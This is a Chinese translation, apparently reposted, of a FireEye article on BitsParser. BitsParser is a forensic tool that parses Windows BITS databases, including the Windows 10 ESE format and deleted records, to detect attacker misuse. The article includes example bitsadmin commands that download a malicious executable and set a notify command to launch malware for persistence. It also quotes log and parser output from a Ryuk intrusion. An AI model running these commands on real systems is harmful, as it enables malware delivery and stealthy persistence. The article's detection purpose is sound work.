Py学习  »  Python

BitsParser:解析 Windows 后台智能传输服务(BITS)的 Python工具介绍

嘶吼专业版 • 2 年前 • 313 次点击  

介绍

微软在Windows XP中引入了后台智能传输服务(BITS)以简化和协调大型文件的下载上传。应用程序和系统组件(最具代表的是Windows Update)使用BITS交付操作系统及应用程序更新,以便可以在不影响用户的情况下进行下载。

应用程序通过创建包含一个或多个要下载或上传的文件作业来与BITS进行交互。BITS服务在服务主机进程中运行,可以按计划时间进行转移。作业、文件和状态信息存储在本地数据库中。

攻击者如何使用BITS

与许多技术一样,BITS既可以被合法应用程序使用,也可以被攻击者使用。当恶意应用程序创建BITS作业时,会在服务主机进程的上下文中下载或上传文件。利用此技术,能帮助恶意软件逃避防火墙检测,并且有助于掩盖某个应用程序的传输请求,另一个优点是还可以安排BITS在特定时间进行传输,而无需依赖长时间运行的进程或任务计划程序。

BITS传输是异步的,这可能导致当请求的传输完成时,创建作业的应用程序无法运行。为了解决这种情况,可以使用用户指定的通知命令来创建BITS作业,该命令将在作业完成后或出现错误时执行。与BITS作业关联的通知命令可以指定要运行的任意可执行文件或命令。攻击者能利用此功能作为维持恶意应用程序持久性的方法。

由于BITS作业的命令数据存储在数据库中,而不是传统的注册表位置,因此可能会被识别持久性可执行文件及命令的工具忽略。

BITS作业可使用API函数调用或通过bitsadmin命令行工具来创建。有关如何使用BITS作业下载文件并触发执行的示例,请参见下列代码段1和2。

使用bitsadmin创建一个作业,下载一个恶意的可执行文件并将其存储到c:\windows\malware.exe中:

> bitsadmin /create download

> bitsadmin /addfile download https:///malware.exe c:\windows\malware.exe

> bitsadmin /resume download

> bitsadmin /complete download

 

Created job {EA8603EB-7CC2-44EC-B1EE-E9923290C2ED}.

Added https:///malware.exe -> c:\windows\malware.exe to job.

Job resumed.

Job completed.

使用bitsadmin创建一个作业,该作业将在尝试下载URL后启动恶意软件:

> bitsadmin /create persistence

> bitsadmin /addfile persistence http://127.0.0.1/invalid.exe c:\windows\i.exe

> bitsadmin /SetNotifyCmdLine persistence c:\windows\malware.exe NULL

> bitsadmin /resume persistence


创建BitsParser

为了搜索攻击者使用BITS的证据,需要了解BITS使用的底层基础结构,并创建一个可以收集相关信息的工具,这就是BitsParser诞生的初衷,它可以解析BITS数据库并返回在端点系统上执行的作业的有关信息。BitsParser已成功用于多起调查中,用以发现攻击者的下载、上传和持久性动作。

为了处理自定义数据库格式,BitsParser利用开源的ANSSI-FR库,该库允许解析BITS数据库文件中的活动条目和已删除条目,并且可以从作业和文件记录中完全提取相关信息。

QMGR数据库

BITS作业和相关的状态信息存储在%ALLUSERSPROFILE%\Microsoft\Network\Downloader目录下的本地queue manager(QMGR)数据库文件中,数据库存储在名为qmgr0.dat和qmgr1.dat的文件中。双文件方案应该是用于备份和同步目的,第二个文件包含了大多重复的作业和文件信息,可以在此文件中找到一些唯一或较旧的条目。

Windows 10的变化

后台智能传输服务自推出以来基本保持不变,但Windows 10对服务进行了重大更改,包括全新的数据库格式。在Windows 10上,QMGR数据库使用可扩展存储引擎(ESE)格式存储。ESE数据库已在许多其他Microsoft产品中使用,包括Exchange,Active Directory和Internet Explorer。

Windows 10将QMGR数据库存储在一个名为qmgr.db的文件中。单独的事务日志文件保存在同一目录中。最新的事务日志存储到名为edb.log的文件中,较早的事务日志常以三个带有数字后缀的形式出现。 

解析ESE数据库

为了支持Windows 10系统,我们更新了BitsParser工具以支持新的QMGR数据库格式。为此需要一个基于Python的ESE数据库解析器,经过研究后发现libesedb比较合适,这是一个用C语言编写、带有Python封装器的完整的ESE数据库实现。由于没有其他可用的Python选项,我们最初在BitsParser中使用libesedb来解析Windows 10 QMGR数据库,但是如果要提高大规模部署的效率,还需要一种不依赖本机可执行文件的解决方案。因为其源代码虽然可以执行基本的数据库枚举,但缺少关键功能,比如处理长值的能力(QMGR数据库包含的条目足够大,需要长值),于是我们改编了Impacket ESE数据库解析代码,使其更健壮并支持解析QMGR数据库所需的所有功能。完整的Python解决方案允许以较小的程序包进行数据库解析,而没有本机代码的风险和限制。

数据库结构

Windows 10 QMGR数据库包含两个表:Jobs和Files。这两个表都有两列:Id和Blob。Id包含用于标识条目的GUID,而Blob包含定义作业或文件的二进制数据,作业和文件结构与以前的数据库格式基本没有变化。

作业数据从控制结构开始:

控件结构后是由XFER GUID {7756DA36-516F-435A-ACAC-44A248FFF34D}分隔的文件列表,列表以一个4字节的文件计数开头,后跟一个GUID列表,这些GUID对应于Files表中的Id值。

文件数据使用以下结构:

通过枚举Jobs表中的条目,解析每个作业数据,查找相关文件并解析Files表中的相应记录来处理数据库,使得BitsParser可以将相关信息和输出作业与它们的相关文件(包括相关元数据)进行组合。

恢复已删除的记录

Jobs和Files表中记录了活动作业条目,作业完成或取消后,记录将被删除,但就像其他文件系统和数据格式一样,删除的条目不会立即被覆盖,而且通常可以在删除后一段时间内恢复。

以下算法用于从Windows 10 QMGR数据库恢复已删除的作业和文件:

1、通过搜索文件标识符GUID {519ECFE4-D946-4397-B73E-268513051AB2}找到文件记录,将后续数据解析为普通文件记录。

2、通过搜索作业标识符GUID查找作业记录,将后续数据解析为正常的作业记录,通过解析控制结构来处理未完成的作业条目,并在需要时手动定位相关文件。

在QMGR数据库中观察了到以下作业GUID:

· {E10956A1-AF43-42C9-92E6-6F9856EBA7F6}

· {4CD4959F-7064-4BF2-84D7-476A7E62699F}

· {A92619F1-0332-4CBF-9427-898818958831}

· {DDBC33C1-5AFB-4DAF-B8A1-2268B39D01AD}

· {8F5657D0-012C-4E3E-AD2C-F4A5D7656FAF}

· {94416750-0357-461D-A4CC-5DD9990706E4}

3、将已标记文件记录与已标记作业关联起来,处理所有与活动或已删除作业不相关的剩余标记文件记录。

历史记录也可以在事务日志文件中找到。虽然我们不解析事务日志结构,但通过搜索适当的GUID,可以使用相同的算法在日志中查找作业和文件记录。当相同的记录可能出现在多个文件中,可以抑制重复以防止冗余信息的输出。

BitsParser工具发布

在撰写本文时,我们还不知道有任何开源工具可用于解析BITS数据库并提取对事件响应和调查有用的数据。为了解决这个问题并促进进一步的研究,FireEye决定发布BitsParser的独立版本。此命令行实用程序可以处理BITS数据库的所有版本,并恢复已删除的作业和文件信息。

BitsParser工具链接在此。

需要注意的是,QMGR数据库文件是在未由BITS服务共享的情况下打开的,因此阻止了其他程序的直接打开。当通过FireEye端点代理部署BitsParser时,在无法直接读取本地文件系统和原始读取文件的情况下,它可以直接解析本地文件系统和原始读取文件,独立的BitsParser则不具备此功能。在运行BitsParser或第三方工具复制锁定文件之前之前,应先停止BITS服务。

BITS在野的持久性

2020年,我们接触了多起Ryuk勒索软件攻击事件(https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html),攻击者使用了多种特殊的后门和装载程序,其中就包括由BITS服务启动的KEGTAP后门,由钓鱼邮件中的文件mail.exe通过Microsoft-Windows-Bits-Client操作事件日志中的条目与BITS服务活动相关联。

事件日志条目显示为持久性创建BITS作业:

3 | Information | The BITS service created a new job: System update, with owner REDACTED

 

61 | Warning | BITS stopped transferring the System update transfer job that is associated with the http://127.0.0.1/tst/56/ URL. The status code is 2147954429.  

 

64 | Warning | The BITS job System update is configured to launch C:\Users\REDACTED\AppData\Local\Microsoft\Windows\INetCache\IE\REDACTED\mail.exe after transfer of http://127.0.0.1/tst/12/. The service failed to launch the program with error 2147942402, BITS will continue trying to launch the program periodically until it succeeds.

我们通过与主机进行交互并检查QMGR数据库来确认BITS作业的详细信息。恶意BITS作业设置为尝试通过HTTP传输本地主机中不存在的文件,由于文件不存在,BITS将触发错误状态并启动notify命令(在本例中为KEGTAP。

虽然这能确定与该威胁团伙相关的持久性机制,但是手动QMGR数据库分析无法在多个系统或环境中扩展。通过调整现有的BitsParser来解析Windows 10版本的QMGR数据库,可以有效地跨多个环境识别额外的受感染系统。

BitsParser输出显示恶意的BITS作业正在启动mail.exe

{

    "JobType": "download",

    "JobPriority": "normal",

    "JobState": "queued",

    "JobName": "System update",

    "CommandExecuted": "C:\\Users\\REDACTED\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\REDACTED\\mail.exe",

    "Files": [

        {

            "DestFile": "C:\\Users\\REDACTED\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\REDACTED\\mail.exe",

            "SourceURL": "http://127.0.0.1/tst/56/",

            "DownloadByteSize": 0

        }

    ]

}

结论

后台智能传输服务既可以被合法应用程序使用,也可以被攻击者使用。BITS QMGR数据库能为我们调查操作提供有用的数据源。将BitsParser与其他取证工具一起使用,也有助于我们绘制攻击者活动的详细视图。

参考及来源:https://www.fireeye.com/blog/threat-research/2021/03/attacker-use-of-windows-background-intelligent-transfer-service.html


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/111366
 
313 次点击